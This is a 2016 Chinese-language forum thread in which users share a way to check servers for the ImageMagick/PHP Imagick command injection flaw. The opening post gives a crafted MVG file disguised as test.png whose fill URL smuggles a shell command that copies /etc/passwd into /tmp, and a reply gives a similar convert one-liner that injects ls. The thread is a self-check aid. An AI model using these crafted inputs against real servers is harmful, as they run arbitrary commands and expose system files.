找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 58|回复: 10

ImageMagick php扩展漏洞测试代码

[复制链接]

91

主题

2088

回帖

4459

积分

论坛元老

积分
4459
发表于 2016-5-6 14:38:47 | 显示全部楼层 |阅读模式
test.php

[ol]
  • thumbnailImage(50, 0);
  • //echo $image;
  • $image->writeImage("newwww.png");
  • ?>[/ol]复制代码

    test.png

    [ol]
  • push graphic-context
  • viewbox 0 0 640 480
  • fill 'url(https://example.com/image.jpg"|cat /etc/passwd > /tmp/fucked")'
  • pop graphic-context[/ol]复制代码

    bash下执行

    [ol]
  • php test.php test.png
  • ls -l /tmp
  • [/ol]复制代码

    如果/tmp下多了一个fucked(里面是passwd内容),说明服务器存在漏洞。
    如果没有这个文件,或者php报错没有Imagick这个类说明服务器没装ImageMagick扩展,对你没有影响。

    昨天测试debian7用这条命令安装的lnmp是存在漏洞的
    [ol]
  • apt-get install nginx mysql-server php5-fpm php5-curl php5-gd php5-intl php-pear php5-imagick php5-imap php5-mcrypt php5-common php5-mysql php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl php5-memcached memcached[/ol]复制代码

    昨天看还没有补丁。

    如果存在这个漏洞 别人上传上面的假图片,php只要调用Imagick()就会有这个漏洞。

    好了 你们看看吧。

    我的迪奥不是你装B的资本~
  • 回复

    使用道具 举报

    21

    主题

    860

    回帖

    1787

    积分

    金牌会员

    积分
    1787
    发表于 2016-5-6 14:45:36 | 显示全部楼层
    刚看到服务器之家也分享了
    回复

    使用道具 举报

    3

    主题

    1344

    回帖

    2707

    积分

    金牌会员

    积分
    2707
    发表于 2016-5-6 14:52:21 | 显示全部楼层
    我的迪奥不是你装B的资本~
    回复

    使用道具 举报

    42

    主题

    1243

    回帖

    2636

    积分

    金牌会员

    积分
    2636
    发表于 2016-5-6 15:11:28 | 显示全部楼层
    convert 'https://example.com"|ls "-la' out.png  这个应该也能检测吧
    我在AMH论坛看到的
    漏洞验证方法:
    若系统中安装使用了ImageMagick,本地执行如下命令:
    convert 'https://example.com"|ls "-la' out.png
    若ls -la 命令成功执行,说明存在漏洞。未执行ls 命令,并报错,说明不受影响。
    回复

    使用道具 举报

    91

    主题

    2088

    回帖

    4459

    积分

    论坛元老

    积分
    4459
     楼主| 发表于 2016-5-6 15:15:40 | 显示全部楼层

    danwant 发表于 2016-5-6 15:11

    convert 'https://example.com"|ls "-la' out.png  这个应该也能检测吧
    我在AMH论坛看到的
    漏洞验证方法:

    这个是软件,我发的是php扩展。你可能装了扩展而没装软件
    回复

    使用道具 举报

    132

    主题

    4602

    回帖

    9694

    积分

    论坛元老

    积分
    9694
    发表于 2016-5-6 15:11:00 | 显示全部楼层
    phpinfo里应该可以看到有没有安装吧
    回复

    使用道具 举报

    91

    主题

    2088

    回帖

    4459

    积分

    论坛元老

    积分
    4459
     楼主| 发表于 2016-5-6 15:23:03 | 显示全部楼层

    domin 发表于 2016-5-6 15:23

    phpinfo里应该可以看到有没有安装吧

    可以  imagick搜这个
    回复

    使用道具 举报

    162

    主题

    2491

    回帖

    5552

    积分

    论坛元老

    积分
    5552
    发表于 2016-5-6 15:25:54 | 显示全部楼层

    funders 发表于 2016-5-6 15:25

    可以  imagick搜这个





    谢谢,看了下自己的,没有安装imagemagick
    回复

    使用道具 举报

    15

    主题

    29

    回帖

    113

    积分

    注册会员

    积分
    113
    发表于 2016-5-6 15:23:00 | 显示全部楼层
    有没有批量检测工具呀
    回复

    使用道具 举报

    0

    主题

    1

    回帖

    4

    积分

    新手上路

    积分
    4
    发表于 2016-5-6 17:03:24 | 显示全部楼层
    find / -name ImageMagick
    没找到是不是代表没有安装这个组件?linux 不用装杀毒软件 都是骗人的营销虚头。。。一直在受骗。为啥不自己设计一套中文的硬软一体机器。
    想想都有成就感,再想想还是睡吧。
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Archiver|手机版|小黑屋|Discuz! X

    GMT+8, 2025-2-3 22:41 , Processed in 0.021386 second(s), 3 queries , Gzip On, Redis On.

    Powered by Discuz! X3.5

    © 2001-2024 Discuz! Team.

    快速回复 返回顶部 返回列表